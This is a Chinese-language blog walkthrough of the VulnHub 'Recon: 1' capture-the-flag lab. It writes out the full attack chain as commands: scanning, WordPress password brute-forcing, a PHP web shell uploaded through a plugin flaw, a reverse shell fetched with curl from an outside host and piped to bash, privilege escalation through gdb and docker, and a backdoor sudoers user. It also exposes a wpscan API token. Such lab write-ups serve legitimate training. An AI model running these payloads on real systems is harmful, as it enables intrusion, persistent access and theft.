靶机下载地址:https://www.vulnhub.com/entry/recon-1,438/
教程链接地址:https://readysetexploit.wordpress.com/2022/03/06/vulnhub-recon-1/

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 RECON:桥接于 192.168.31.1 的网卡,ip 未知

  1. 通过 netdiscover 扫描当前网卡里边有哪些机器
    sudo netdiscover -i eth0 -r 192.168.31.0/24

  2. 将所有已知的 ip 暂时存档,对这类 ip 地址不做端口扫描

1
2
3
4
5
# shell
cat > myip.txt << EOF
192.168.31.1 192.168.31.25 192.168.31.58 192.168.31.86 192.168.31.33
192.168.31.120 192.168.31.135 192.168.31.145 192.168.31.162 192.168.31.44
EOF
  1. 去除一些已知 ip 的机器,对剩余 IP 进行端口扫描,判断目标 IP
    sudo nmap -PA 192.168.31.0/24 --excludefile myip.txt
Image

-> 目标机器的 ip 地址: 192.168.31.230

  1. 确认靶机 ip 开放的端口信息

sudo nmap -A -p 1-1024 192.168.31.230 -oN /tmp/recon.txt
Image

-> 靶机开放端口 22,80

# wpscan 扫描 wordpress

1)目录扫描

dirsearch -u http://192.168.31.230/

-> 敏感网址:http://192.168.31.230/wp-login.php?redirect_to=http%3A%2F%2F192.168.31.230%2Fwp-admin%2F&reauth=1

http://192.168.31.230/wp-login.php
对此网址进行弱口令爆破,sql 注入均无效果

  1. wordpress 进行扫描用户
1
2
3
4
5
# 获取到wpscan的api token:
https://wpscan.com/profile?pricingList=1

# 通过以下命令枚举wordpress的用户名:
wpscan --url http://192.168.31.230 --enumerate u --api-token eG5iT4ooiuP7eVJVedsHhlgx8xeZHmAJjBr13asnjEc
Image

-> 用户 1:recon 用户 2:reconauthor

  1. wordpress 针对已知用户扫描密码
1
2
# 通过以下命令爆破wordpress用户名recon reconauthor的密码:
wpscan --url http://192.168.31.230/ - U 'recon reconauthor' -P /usr/share/wordlists/rockyou.txt --api-token eG5iT4ooiuP7eVJVedsHhlgx8xeZHmAJjBr13asnjEc
Image

-> 用户:reconauthor 密码:football7

  1. 登陆 wordpress 后台
    http://192.168.31.230/wp-login.php

# msf 测试 wordpress

  1. msf 自带 exploit/unix/webapp/ 下的模块进行利用
1
2
3
4
5
6
7
msfconsole
use exploit/unix/webapp/wp_admin_shell_upload
set password **football7**
set rhosts 192.168.31. 230
set username **reconauthor**
set targeturi /
run

-> 认证成功,但上传失败

# 后台上传 poc

  1. 从网站后台寻找突破

wordpress 后台上传文件 poc:https://www.exploit-db.com/exploits/46981

1
2
3
echo "<html>I’m X_T, do you know me ?</html>" > index.html
echo "<?php echo system($_GET['X_T']); ?>" > index.php
zip poc.zip index.html index.php
Image
1
2
3
# 依次按下列按钮点击
Create a new Post -> Select `Add block` -> E-Learning -> Upload the poc.zip ->
Insert as: Iframe -> Insert





-> http://192.168.31.230/wp-content/uploads/articulate_uploads/poc9/index.html

-> RCE 地址:http://192.168.31.230/wp-content/uploads/articulate_uploads/poc9/index.php?X_T=ls

  1. 通过 RCE 漏洞反弹 shell
1
2
3
4
5
6
7
8
# 构造反弹shell地代码并开启http服务
cat > shell.sh << EOF
#! /bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.31.135/4444 0>&1'
EOF

# 在靶机上执行:
curl http://www.chentuo.asia/shell.sh | bash

-> 即在 url 地址上构造:http://192.168.31.230/wp-content/uploads/articulate_uploads/poc9/index.php?X_T=curl http://www.chentuo.asia/shell.sh | bash

1
2
3
4
5
# 标准shell
python3 -c 'import pty;pty.spawn("/bin/bash")' then press Ctrl+Z
stty raw -echo;fg then press ENTER twice
export TERM=xterm
cd / && id

# SUID 提权

尝试 suid 提权

1
2
3
4
5
6
7
# 发现系统上运行所有suid可执行文件
find / -perm -u=s -type f 2 >/dev/null

# -perm表示搜索后面的权限 - u=s表示查找 root 用户拥有的文件
# -type表示我们正在寻找的文件类型 f 表示普通文件,而不是目录或特殊文件
# 2 表示到进程的第二个文件描述符,即 stderr(标准错误)>表示重定向
# /dev/null是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。
Image 未找到 nmap vim find bash more less nano cp 含有s权限

# sudo (gdb) 提权

提权教程:https://gtfobins.github.io/gtfobins/gdb/

1
2
3
4
5
6
7
8
9
# 由于gdb只是针对用户offensivehack来言是无密码的
# 所以这里需要通过-u来指定用户名,使用该用户来通过gdb反弹shell
sudo -u offensivehack gdb -nx -ex '!sh' -ex quit

# -l, list user\'s privileges or check a specific command; use twice for longer format
# -u, run command (or edit file) as specified user name or ID

# 通过python3 来将当前的终端转化为一个标准的shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'

# id (docker) 提权

注意到输入 id 的时候有补充组 docker,可采用 docker 提权
Docker 提权说明:https://gtfobins.github.io/gtfobins/docker/

1
2
3
4
5
# docker 提权
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# 标准shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Image

# 篡改 sudoers 维权

由当前 root 权限的机器继续执行操作

1
2
3
4
5
6
7
8
9
10
11
12
# 设置密码为kali
useradd kali && passwd kali

# 添加sudoers文件写权限:
chmod u+w /etc/sudoers
vim /etc/sudoers

# root ALL=(ALL) ALL 这一行,在其下面追加:
kali ALL=(ALL) ALL

# 撤销sudoers文件权限:
chmod u-w /etc/sudoers
Image

攻击机:ssh kali@192.168.31.230 && sudo cat /root/flag.txt

Image

-> 可登陆 kali,用 sudo 进行 root 权限的操作

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝